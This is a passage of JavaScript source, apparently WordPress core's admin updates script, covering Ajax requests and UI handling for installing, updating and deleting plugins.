		aysDelete: '',
		aysDeleteUninstall: '',
		aysBulkDelete: '',
		aysBulkDeleteThemes: '',
		deleting: '',
		deleteFailed: '',
		pluginDeleted: '',
		themeDeleted: '',
		livePreview: '',
		activatePlugin: '',
		activateTheme: '',
		activatePluginLabel: '',
		activateThemeLabel: '',
		activateImporter: '',
		activateImporterLabel: '',
		unknownError: '',
		connectionError: '',
		nonceError: '',
		pluginsFound: '',
		noPluginsFound: '',
		autoUpdatesEnable: '',
		autoUpdatesEnabling: '',
		autoUpdatesEnabled: '',
		autoUpdatesDisable: '',
		autoUpdatesDisabling: '',
		autoUpdatesDisabled: '',
		autoUpdatesError: ''
	};

	wp.updates.l10n = window.wp.deprecateL10nObject( 'wp.updates.l10n', wp.updates.l10n, '5.5.0' );

	/**
	 * User nonce for ajax calls.
	 *
	 * @since 4.2.0
	 *
	 * @type {string}
	 */
	wp.updates.ajaxNonce = settings.ajax_nonce;

	/**
	 * Current search term.
	 *
	 * @since 4.6.0
	 *
	 * @type {string}
	 */
	wp.updates.searchTerm = '';

	/**
	 * Whether filesystem credentials need to be requested from the user.
	 *
	 * @since 4.2.0
	 *
	 * @type {bool}
	 */
	wp.updates.shouldRequestFilesystemCredentials = false;

	/**
	 * Filesystem credentials to be packaged along with the request.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 Added `available` property to indicate whether credentials have been provided.
	 *
	 * @type {Object}
	 * @property {Object} filesystemCredentials.ftp                Holds FTP credentials.
	 * @property {string} filesystemCredentials.ftp.host           FTP host. Default empty string.
	 * @property {string} filesystemCredentials.ftp.username       FTP user name. Default empty string.
	 * @property {string} filesystemCredentials.ftp.password       FTP password. Default empty string.
	 * @property {string} filesystemCredentials.ftp.connectionType Type of FTP connection. 'ssh', 'ftp', or 'ftps'.
	 *                                                             Default empty string.
	 * @property {Object} filesystemCredentials.ssh                Holds SSH credentials.
	 * @property {string} filesystemCredentials.ssh.publicKey      The public key. Default empty string.
	 * @property {string} filesystemCredentials.ssh.privateKey     The private key. Default empty string.
	 * @property {string} filesystemCredentials.fsNonce            Filesystem credentials form nonce.
	 * @property {bool}   filesystemCredentials.available          Whether filesystem credentials have been provided.
	 *                                                             Default 'false'.
	 */
	wp.updates.filesystemCredentials = {
		ftp:       {
			host:           '',
			username:       '',
			password:       '',
			connectionType: ''
		},
		ssh:       {
			publicKey:  '',
			privateKey: ''
		},
		fsNonce: '',
		available: false
	};

	/**
	 * Whether we're waiting for an Ajax request to complete.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `ajaxLocked`.
	 *
	 * @type {bool}
	 */
	wp.updates.ajaxLocked = false;

	/**
	 * Admin notice template.
	 *
	 * @since 4.6.0
	 *
	 * @type {function}
	 */
	wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' );

	/**
	 * Update queue.
	 *
	 * If the user tries to update a plugin while an update is
	 * already happening, it can be placed in this queue to perform later.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `queue`.
	 *
	 * @type {Array.object}
	 */
	wp.updates.queue = [];

	/**
	 * Holds a jQuery reference to return focus to when exiting the request credentials modal.
	 *
	 * @since 4.2.0
	 *
	 * @type {jQuery}
	 */
	wp.updates.$elToReturnFocusToFromCredentialsModal = undefined;

	/**
	 * Adds or updates an admin notice.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  data
	 * @param {*=}      data.selector      Optional. Selector of an element to be replaced with the admin notice.
	 * @param {string=} data.id            Optional. Unique id that will be used as the notice's id attribute.
	 * @param {string=} data.className     Optional. Class names that will be used in the admin notice.
	 * @param {string=} data.message       Optional. The message displayed in the notice.
	 * @param {number=} data.successes     Optional. The amount of successful operations.
	 * @param {number=} data.errors        Optional. The amount of failed operations.
	 * @param {Array=}  data.errorMessages Optional. Error messages of failed operations.
	 *
	 */
	wp.updates.addAdminNotice = function( data ) {
		var $notice = $( data.selector ),
			$headerEnd = $( '.wp-header-end' ),
			$adminNotice;

		delete data.selector;
		$adminNotice = wp.updates.adminNotice( data );

		// Check if this admin notice already exists.
		if ( ! $notice.length ) {
			$notice = $( '#' + data.id );
		}

		if ( $notice.length ) {
			$notice.replaceWith( $adminNotice );
		} else if ( $headerEnd.length ) {
			$headerEnd.after( $adminNotice );
		} else {
			if ( 'customize' === pagenow ) {
				$( '.customize-themes-notifications' ).append( $adminNotice );
			} else {
				$( '.wrap' ).find( '> h1' ).after( $adminNotice );
			}
		}

		$document.trigger( 'wp-updates-notice-added' );
	};

	/**
	 * Handles Ajax requests to WordPress.
	 *
	 * @since 4.6.0
	 *
	 * @param {string} action The type of Ajax request ('update-plugin', 'install-theme', etc).
	 * @param {Object} data   Data that needs to be passed to the ajax callback.
	 * @return {$.promise}    A jQuery promise that represents the request,
	 *                        decorated with an abort() method.
	 */
	wp.updates.ajax = function( action, data ) {
		var options = {};

		if ( wp.updates.ajaxLocked ) {
			wp.updates.queue.push( {
				action: action,
				data:   data
			} );

			// Return a Deferred object so callbacks can always be registered.
			return $.Deferred();
		}

		wp.updates.ajaxLocked = true;

		if ( data.success ) {
			options.success = data.success;
			delete data.success;
		}

		if ( data.error ) {
			options.error = data.error;
			delete data.error;
		}

		options.data = _.extend( data, {
			action:          action,
			_ajax_nonce:     wp.updates.ajaxNonce,
			_fs_nonce:       wp.updates.filesystemCredentials.fsNonce,
			username:        wp.updates.filesystemCredentials.ftp.username,
			password:        wp.updates.filesystemCredentials.ftp.password,
			hostname:        wp.updates.filesystemCredentials.ftp.hostname,
			connection_type: wp.updates.filesystemCredentials.ftp.connectionType,
			public_key:      wp.updates.filesystemCredentials.ssh.publicKey,
			private_key:     wp.updates.filesystemCredentials.ssh.privateKey
		} );

		return wp.ajax.send( options ).always( wp.updates.ajaxAlways );
	};

	/**
	 * Actions performed after every Ajax request.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response
	 * @param {Array=}  response.debug     Optional. Debug information.
	 * @param {string=} response.errorCode Optional. Error code for an error that occurred.
	 */
	wp.updates.ajaxAlways = function( response ) {
		if ( ! response.errorCode || 'unable_to_connect_to_filesystem' !== response.errorCode ) {
			wp.updates.ajaxLocked = false;
			wp.updates.queueChecker();
		}

		if ( 'undefined' !== typeof response.debug && window.console && window.console.log ) {
			_.map( response.debug, function( message ) {
				// Remove all HTML tags and write a message to the console.
				window.console.log( wp.sanitize.stripTagsAndEncodeText( message ) );
			} );
		}
	};

	/**
	 * Refreshes update counts everywhere on the screen.
	 *
	 * @since 4.7.0
	 */
	wp.updates.refreshCount = function() {
		var $adminBarUpdates              = $( '#wp-admin-bar-updates' ),
			$dashboardNavMenuUpdateCount  = $( 'a[href="update-core.php"] .update-plugins' ),
			$pluginsNavMenuUpdateCount    = $( 'a[href="plugins.php"] .update-plugins' ),
			$appearanceNavMenuUpdateCount = $( 'a[href="themes.php"] .update-plugins' ),
			itemCount;

		$adminBarUpdates.find( '.ab-label' ).text( settings.totals.counts.total );
		$adminBarUpdates.find( '.updates-available-text' ).text(
			sprintf(
				/* translators: %s: Total number of updates available. */
				_n( '%s update available', '%s updates available', settings.totals.counts.total ),
				settings.totals.counts.total
			)
		);

		// Remove the update count from the toolbar if it's zero.
		if ( 0 === settings.totals.counts.total ) {
			$adminBarUpdates.find( '.ab-label' ).parents( 'li' ).remove();
		}

		// Update the "Updates" menu item.
		$dashboardNavMenuUpdateCount.each( function( index, element ) {
			element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.total );
		} );
		if ( settings.totals.counts.total > 0 ) {
			$dashboardNavMenuUpdateCount.find( '.update-count' ).text( settings.totals.counts.total );
		} else {
			$dashboardNavMenuUpdateCount.remove();
		}

		// Update the "Plugins" menu item.
		$pluginsNavMenuUpdateCount.each( function( index, element ) {
			element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.plugins );
		} );
		if ( settings.totals.counts.total > 0 ) {
			$pluginsNavMenuUpdateCount.find( '.plugin-count' ).text( settings.totals.counts.plugins );
		} else {
			$pluginsNavMenuUpdateCount.remove();
		}

		// Update the "Appearance" menu item.
		$appearanceNavMenuUpdateCount.each( function( index, element ) {
			element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.themes );
		} );
		if ( settings.totals.counts.total > 0 ) {
			$appearanceNavMenuUpdateCount.find( '.theme-count' ).text( settings.totals.counts.themes );
		} else {
			$appearanceNavMenuUpdateCount.remove();
		}

		// Update list table filter navigation.
		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
			itemCount = settings.totals.counts.plugins;
		} else if ( 'themes' === pagenow || 'themes-network' === pagenow ) {
			itemCount = settings.totals.counts.themes;
		}

		if ( itemCount > 0 ) {
			$( '.subsubsub .upgrade .count' ).text( '(' + itemCount + ')' );
		} else {
			$( '.subsubsub .upgrade' ).remove();
			$( '.subsubsub li:last' ).html( function() { return $( this ).children(); } );
		}
	};

	/**
	 * Decrements the update counts throughout the various menus.
	 *
	 * This includes the toolbar, the "Updates" menu item and the menu items
	 * for plugins and themes.
	 *
	 * @since 3.9.0
	 *
	 * @param {string} type The type of item that was updated or deleted.
	 *                      Can be 'plugin', 'theme'.
	 */
	wp.updates.decrementCount = function( type ) {
		settings.totals.counts.total = Math.max( --settings.totals.counts.total, 0 );

		if ( 'plugin' === type ) {
			settings.totals.counts.plugins = Math.max( --settings.totals.counts.plugins, 0 );
		} else if ( 'theme' === type ) {
			settings.totals.counts.themes = Math.max( --settings.totals.counts.themes, 0 );
		}

		wp.updates.refreshCount( type );
	};

	/**
	 * Sends an Ajax request to the server to update a plugin.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `updatePlugin`.
	 *
	 * @param {Object}               args         Arguments.
	 * @param {string}               args.plugin  Plugin basename.
	 * @param {string}               args.slug    Plugin slug.
	 * @param {updatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.updatePluginSuccess
	 * @param {updatePluginError=}   args.error   Optional. Error callback. Default: wp.updates.updatePluginError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.updatePlugin = function( args ) {
		var $updateRow, $card, $message, message,
			$adminBarUpdates = $( '#wp-admin-bar-updates' );

		args = _.extend( {
			success: wp.updates.updatePluginSuccess,
			error: wp.updates.updatePluginError
		}, args );

		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
			$updateRow = $( 'tr[data-plugin="' + args.plugin + '"]' );
			$message   = $updateRow.find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' );
			message    = sprintf(
				/* translators: %s: Plugin name and version. */
 				_x( 'Updating %s...', 'plugin' ),
				$updateRow.find( '.plugin-title strong' ).text()
			);
		} else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
			$card    = $( '.plugin-card-' + args.slug );
			$message = $card.find( '.update-now' ).addClass( 'updating-message' );
			message    = sprintf(
				/* translators: %s: Plugin name and version. */
 				_x( 'Updating %s...', 'plugin' ),
				$message.data( 'name' )
			);

			// Remove previous error messages, if any.
			$card.removeClass( 'plugin-card-update-failed' ).find( '.notice.notice-error' ).remove();
		}

		$adminBarUpdates.addClass( 'spin' );

		if ( $message.html() !== __( 'Updating...' ) ) {
			$message.data( 'originaltext', $message.html() );
		}

		$message
			.attr( 'aria-label', message )
			.text( __( 'Updating...' ) );

		$document.trigger( 'wp-plugin-updating', args );

		return wp.updates.ajax( 'update-plugin', args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin update.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `updatePluginSuccess`.
	 * @since 5.5.0 Auto-update "time to next update" text cleared.
	 *
	 * @param {Object} response            Response from the server.
	 * @param {string} response.slug       Slug of the plugin to be updated.
	 * @param {string} response.plugin     Basename of the plugin to be updated.
	 * @param {string} response.pluginName Name of the plugin to be updated.
	 * @param {string} response.oldVersion Old version of the plugin.
	 * @param {string} response.newVersion New version of the plugin.
	 */
	wp.updates.updatePluginSuccess = function( response ) {
		var $pluginRow, $updateMessage, newText,
			$adminBarUpdates = $( '#wp-admin-bar-updates' );

		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
			$pluginRow     = $( 'tr[data-plugin="' + response.plugin + '"]' )
				.removeClass( 'update is-enqueued' )
				.addClass( 'updated' );
			$updateMessage = $pluginRow.find( '.update-message' )
				.removeClass( 'updating-message notice-warning' )
				.addClass( 'updated-message notice-success' ).find( 'p' );

			// Update the version number in the row.
			newText = $pluginRow.find( '.plugin-version-author-uri' ).html().replace( response.oldVersion, response.newVersion );
			$pluginRow.find( '.plugin-version-author-uri' ).html( newText );

			// Clear the "time to next auto-update" text.
			$pluginRow.find( '.auto-update-time' ).empty();
		} else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
			$updateMessage = $( '.plugin-card-' + response.slug ).find( '.update-now' )
				.removeClass( 'updating-message' )
				.addClass( 'button-disabled updated-message' );
		}

		$adminBarUpdates.removeClass( 'spin' );

		$updateMessage
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Plugin name and version. */
					_x( '%s updated!', 'plugin' ),
					response.pluginName
				)
			)
			.text( _x( 'Updated!', 'plugin' ) );

		wp.a11y.speak( __( 'Update completed successfully.' ) );

		wp.updates.decrementCount( 'plugin' );

		$document.trigger( 'wp-plugin-update-success', response );
	};

	/**
	 * Updates the UI appropriately after a failed plugin update.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `updatePluginError`.
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be updated.
	 * @param {string}  response.plugin       Basename of the plugin to be updated.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be updated.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.updatePluginError = function( response ) {
		var $pluginRow, $card, $message, errorMessage,
			$adminBarUpdates = $( '#wp-admin-bar-updates' );

		if ( ! wp.updates.isValidResponse( response, 'update' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'update-plugin' ) ) {
			return;
		}

		errorMessage = sprintf(
			/* translators: %s: Error string for a failed update. */
			__( 'Update failed: %s' ),
			response.errorMessage
		);

		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
			$pluginRow = $( 'tr[data-plugin="' + response.plugin + '"]' ).removeClass( 'is-enqueued' );

			if ( response.plugin ) {
				$message = $( 'tr[data-plugin="' + response.plugin + '"]' ).find( '.update-message' );
			} else {
				$message = $( 'tr[data-slug="' + response.slug + '"]' ).find( '.update-message' );
			}
			$message.removeClass( 'updating-message notice-warning' ).addClass( 'notice-error' ).find( 'p' ).html( errorMessage );

			if ( response.pluginName ) {
				$message.find( 'p' )
					.attr(
						'aria-label',
						sprintf(
							/* translators: %s: Plugin name and version. */
							_x( '%s update failed.', 'plugin' ),
							response.pluginName
						)
					);
			} else {
				$message.find( 'p' ).removeAttr( 'aria-label' );
			}
		} else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
			$card = $( '.plugin-card-' + response.slug )
				.addClass( 'plugin-card-update-failed' )
				.append( wp.updates.adminNotice( {
					className: 'update-message notice-error notice-alt is-dismissible',
					message:   errorMessage
				} ) );

			$card.find( '.update-now' )
				.text(  __( 'Update failed.' ) )
				.removeClass( 'updating-message' );

			if ( response.pluginName ) {
				$card.find( '.update-now' )
					.attr(
						'aria-label',
						sprintf(
							/* translators: %s: Plugin name and version. */
							_x( '%s update failed.', 'plugin' ),
							response.pluginName
						)
					);
			} else {
				$card.find( '.update-now' ).removeAttr( 'aria-label' );
			}

			$card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() {

				// Use same delay as the total duration of the notice fadeTo + slideUp animation.
				setTimeout( function() {
					$card
						.removeClass( 'plugin-card-update-failed' )
						.find( '.column-name a' ).trigger( 'focus' );

					$card.find( '.update-now' )
						.attr( 'aria-label', false )
						.text( __( 'Update Now' ) );
				}, 200 );
			} );
		}

		$adminBarUpdates.removeClass( 'spin' );

		wp.a11y.speak( errorMessage, 'assertive' );

		$document.trigger( 'wp-plugin-update-error', response );
	};

	/**
	 * Sends an Ajax request to the server to install a plugin.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}                args         Arguments.
	 * @param {string}                args.slug    Plugin identifier in the WordPress.org Plugin repository.
	 * @param {installPluginSuccess=} args.success Optional. Success callback. Default: wp.updates.installPluginSuccess
	 * @param {installPluginError=}   args.error   Optional. Error callback. Default: wp.updates.installPluginError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.installPlugin = function( args ) {
		var $card    = $( '.plugin-card-' + args.slug ),
			$message = $card.find( '.install-now' );

		args = _.extend( {
			success: wp.updates.installPluginSuccess,
			error: wp.updates.installPluginError
		}, args );

		if ( 'import' === pagenow ) {
			$message = $( '[data-slug="' + args.slug + '"]' );
		}

		if ( $message.html() !== __( 'Installing...' ) ) {
			$message.data( 'originaltext', $message.html() );
		}

		$message
			.addClass( 'updating-message' )
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Plugin name and version. */
					_x( 'Installing %s...', 'plugin' ),
					$message.data( 'name' )
				)
			)
			.text( __( 'Installing...' ) );

		wp.a11y.speak( __( 'Installing... please wait.' ) );

		// Remove previous error messages, if any.
		$card.removeClass( 'plugin-card-install-failed' ).find( '.notice.notice-error' ).remove();

		$document.trigger( 'wp-plugin-installing', args );

		return wp.updates.ajax( 'install-plugin', args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response             Response from the server.
	 * @param {string} response.slug        Slug of the installed plugin.
	 * @param {string} response.pluginName  Name of the installed plugin.
	 * @param {string} response.activateUrl URL to activate the just installed plugin.
	 */
	wp.updates.installPluginSuccess = function( response ) {
		var $message = $( '.plugin-card-' + response.slug ).find( '.install-now' );

		$message
			.removeClass( 'updating-message' )
			.addClass( 'updated-message installed button-disabled' )
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Plugin name and version. */
					_x( '%s installed!', 'plugin' ),
					response.pluginName
				)
			)
			.text( _x( 'Installed!', 'plugin' ) );

		wp.a11y.speak( __( 'Installation completed successfully.' ) );

		$document.trigger( 'wp-plugin-install-success', response );

		if ( response.activateUrl ) {
			setTimeout( function() {

				// Transform the 'Install' button into an 'Activate' button.
				$message.removeClass( 'install-now installed button-disabled updated-message' )
					.addClass( 'activate-now button-primary' )
					.attr( 'href', response.activateUrl );

				if ( 'plugins-network' === pagenow ) {
					$message
						.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Plugin name. */
								_x( 'Network Activate %s', 'plugin' ),
								response.pluginName
							)
						)
						.text( __( 'Network Activate' ) );
				} else {
					$message
						.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Plugin name. */
								_x( 'Activate %s', 'plugin' ),
								response.pluginName
							)
						)
						.text( __( 'Activate' ) );
				}
			}, 1000 );
		}
	};

	/**
	 * Updates the UI appropriately after a failed plugin install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be installed.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be installed.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.installPluginError = function( response ) {
		var $card   = $( '.plugin-card-' + response.slug ),
			$button = $card.find( '.install-now' ),
			errorMessage;

		if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) {
			return;
		}

		errorMessage = sprintf(
			/* translators: %s: Error string for a failed installation. */
			__( 'Installation failed: %s' ),
			response.errorMessage
		);

		$card
			.addClass( 'plugin-card-update-failed' )
			.append( '<div class="notice notice-error notice-alt is-dismissible"><p>' + errorMessage + '</p></div>' );

		$card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() {

			// Use same delay as the total duration of the notice fadeTo + slideUp animation.
			setTimeout( function() {
				$card
					.removeClass( 'plugin-card-update-failed' )
					.find( '.column-name a' ).trigger( 'focus' );
			}, 200 );
		} );

		$button
			.removeClass( 'updating-message' ).addClass( 'button-disabled' )
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Plugin name and version. */
					_x( '%s installation failed', 'plugin' ),
					$button.data( 'name' )
				)
			)
			.text( __( 'Installation failed.' ) );

		wp.a11y.speak( errorMessage, 'assertive' );

		$document.trigger( 'wp-plugin-install-error', response );
	};

	/**
	 * Updates the UI appropriately after a successful importer install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response             Response from the server.
	 * @param {string} response.slug        Slug of the installed plugin.
	 * @param {string} response.pluginName  Name of the installed plugin.
	 * @param {string} response.activateUrl URL to activate the just installed plugin.
	 */
	wp.updates.installImporterSuccess = function( response ) {
		wp.updates.addAdminNotice( {
			id:        'install-success',
			className: 'notice-success is-dismissible',
			message:   sprintf(
				/* translators: %s: Activation URL. */
				__( 'Importer installed successfully. <a href="%s">Run importer</a>' ),
				response.activateUrl + '&from=import'
			)
		} );

		$( '[data-slug="' + response.slug + '"]' )
			.removeClass( 'install-now updating-message' )
			.addClass( 'activate-now' )
			.attr({
				'href': response.activateUrl + '&from=import',
				'aria-label':sprintf(
					/* translators: %s: Importer name. */
					__( 'Run %s' ),
					response.pluginName
				)
			})
			.text( __( 'Run Importer' ) );

		wp.a11y.speak( __( 'Installation completed successfully.' ) );

		$document.trigger( 'wp-importer-install-success', response );
	};

	/**
	 * Updates the UI appropriately after a failed importer install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be installed.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be installed.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.installImporterError = function( response ) {
		var errorMessage = sprintf(
				/* translators: %s: Error string for a failed installation. */
				__( 'Installation failed: %s' ),
				response.errorMessage
			),
			$installLink = $( '[data-slug="' + response.slug + '"]' ),
			pluginName = $installLink.data( 'name' );

		if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) {
			return;
		}

		wp.updates.addAdminNotice( {
			id:        response.errorCode,
			className: 'notice-error is-dismissible',
			message:   errorMessage
		} );

		$installLink
			.removeClass( 'updating-message' )
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Plugin name. */
					_x( 'Install %s now', 'plugin' ),
					pluginName
				)
			)
			.text( __( 'Install Now' ) );

		wp.a11y.speak( errorMessage, 'assertive' );

		$document.trigger( 'wp-importer-install-error', response );
	};

	/**
	 * Sends an Ajax request to the server to delete a plugin.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}               args         Arguments.
	 * @param {string}               args.plugin  Basename of the plugin to be deleted.
	 * @param {string}               args.slug    Slug of the plugin to be deleted.
	 * @param {deletePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.deletePluginSuccess
	 * @param {deletePluginError=}   args.error   Optional. Error callback. Default: wp.updates.deletePluginError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.deletePlugin = function( args ) {
		var $link = $( '[data-plugin="' + args.plugin + '"]' ).find( '.row-actions a.delete' );

		args = _.extend( {
			success: wp.updates.deletePluginSuccess,
			error: wp.updates.deletePluginError
		}, args );

		if ( $link.html() !== __( 'Deleting...' ) ) {
			$link
				.data( 'originaltext', $link.html() )
				.text( __( 'Deleting...' ) );
		}

		wp.a11y.speak( __( 'Deleting...' ) );

		$document.trigger( 'wp-plugin-deleting', args );

		return wp.updates.ajax( 'delete-plugin', args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response            Response from the server.
	 * @param {string} response.slug       Slug of the plugin that was deleted.
	 * @param {string} response.plugin     Base name of the plugin that was deleted.
	 * @param {string} response.pluginName Name of the plugin that was deleted.
	 */
	wp.updates.deletePluginSuccess = function( response ) {

		// Removes the plugin and updates rows.
		$( '[data-plugin="' + response.plugin + '"]' ).css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() {
			var $form            = $( '#bulk-action-form' ),
				$views           = $( '.subsubsub' ),
				$pluginRow       = $( this ),
				$currentView     = $views.find( '[aria-current="page"]' ),
				$itemsCount      = $( '.displaying-num' ),
				columnCount      = $form.find( 'thead th:not(.hidden), thead td' ).length,
				pluginDeletedRow = wp.template( 'item-deleted-row' ),
				/**
				 * Plugins Base names of plugins in their different states.
				 *
				 * @type {Object}
				 */
				plugins          = settings.plugins,
				remainingCount;

			// Add a success message after deleting a plugin.
			if ( ! $pluginRow.hasClass( 'plugin-update-tr' ) ) {
				$pluginRow.after(
					pluginDeletedRow( {
						slug:    response.slug,
						plugin:  response.plugin,
						colspan: columnCount,
						name:    response.pluginName
					} )
				);
			}

			$pluginRow.remove();

			// Remove plugin from update count.
			if ( -1 !== _.indexOf( plugins.upgrade, response.plugin ) ) {
				plugins.upgrade = _.without( plugins.upgrade, response.plugin );
				wp.updates.decrementCount( 'plugin' );
			}

			// Remove from views.
			if ( -1 !== _.indexOf( plugins.inactive, response.plugin ) ) {
				plugins.inactive = _.without( plugins.inactive, response.plugin );
				if ( plugins.inactive.length ) {
					$views.find( '.inactive .count' ).text( '(' + plugins.inactive.length + ')' );
				} else {
					$views.find( '.inactive' ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins.active, response.plugin ) ) {
				plugins.active = _.without( plugins.active, response.plugin );
				if ( plugins.active.length ) {
					$views.find( '.active .count' ).text( '(' + plugins.active.length + ')' );
				} else {
					$views.find( '.active' ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins.recently_activated, response.plugin ) ) {
				plugins.recently_activated = _.without( plugins.recently_activated, response.plugin );
				if ( plugins.recently_activated.length ) {
					$views.find( '.recently_activated .count' ).text( '(' + plugins.recently_activated.length + ')' );
				} else {
					$views.find( '.recently_activated' ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins['auto-update-enabled'], response.plugin ) ) {
				plugins['auto-update-enabled'] = _.without( plugins['auto-update-enabled'], response.plugin );
				if ( plugins['auto-update-enabled'].length ) {
					$views.find( '.auto-update-enabled .count' ).text( '(' + plugins['auto-update-enabled'].length + ')' );
				} else {
					$views.find( '.auto-update-enabled' ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins['auto-update-disabled'], response.plugin ) ) {
				plugins['auto-update-disabled'] = _.without( plugins['auto-update-disabled'], response.plugin );
				if ( plugins['auto-update-disabled'].length ) {
					$views.find( '.auto-update-disabled .count' ).text( '(' + plugins['auto-update-disabled'].length + ')' );
				} else {
					$views.find( '.auto-update-disabled' ).remove();
				}
			}

			plugins.all = _.without( plugins.all, response.plugin );

			if ( plugins.all.length ) {
				$views.find( '.all .count' ).text( '(' + plugins.all.length + ')' );
			} else {
				$form.find( '.tablenav' ).css( { visibility: 'hidden' } );
				$views.find( '.all' ).remove();

				if ( ! $form.find( 'tr.no-items' ).length ) {
					$form.find( '#the-list' ).append( '<tr class="no-items"><td class="colspanchange" colspan="' + columnCount + '">' + __( 'No plugins are currently available.' ) + '</td></tr>' );
				}
			}

			if ( $itemsCount.length && $currentView.length ) {
				remainingCount = plugins[ $currentView.parent( 'li' ).attr('class') ].length;
				$itemsCount.text(
					sprintf(
						/* translators: %s: The remaining number of plugins. */
						_nx( '%s item', '%s items', 'plugin/plugins', remainingCount ),
						remainingCount
					)
				);
			}
		} );

		wp.a11y.speak( _x( 'Deleted!', 'plugin' ) );

		$document.trigger( 'wp-plugin-delete-success', response );
	};

	/**
	 * Updates the UI appropriately after a failed plugin deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be deleted.
	 * @param {string}  response.plugin       Base name of the plugin to be deleted
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be deleted.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.deletePluginError = function( response ) {
		var $plugin, $pluginUpdateRow,
			pluginUpdateRow  = wp.template( 'item-update-row' ),
			noticeContent    = wp.updates.adminNotice( {
				className: 'update-message notice-error notice-alt',
				message:   response.errorMessage
			} );

		if ( response.plugin ) {
			$plugin          = $( 'tr.inactive[data-plugin="' + response.plugin + '"]' );
			$pluginUpdateRow = $plugin.siblings( '[data-plugin="' + response.plugin + '"]' );
		} else {
			$plugin          = $( 'tr.inactive[data-slug="' + response.slug + '"]' );
			$pluginUpdateRow = $plugin.siblings( '[data-slug="' + response.slug + '"]' );
		}

		if ( ! wp.updates.isValidResponse( response, 'delete' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'delete-plugin' ) ) {
			return;
		}

		// Add a plugin update row if it doesn't exist yet.
		if ( ! $pluginUpdateRow.length ) {
			$plugin.addClass( 'update' ).after(
				pluginUpdateRow( {
					slug:    response.slug,
					plugin:  response.plugin || response.slug,
					colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
					content: noticeContent
				} )
			);
		} else {

			// Remove previous error messages, if any.
			$pluginUpdateRow.find( '.notice-error' ).remove();

			$pluginUpdateRow.find( '.plugin-update' ).append( noticeContent );
		}

		$document.trigger( 'wp-plugin-delete-error', response );
	};

	/**
	 * Sends an Ajax request to the server to update a theme.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}              args         Arguments.
	 * @param {string}              args.slug    Theme stylesheet.
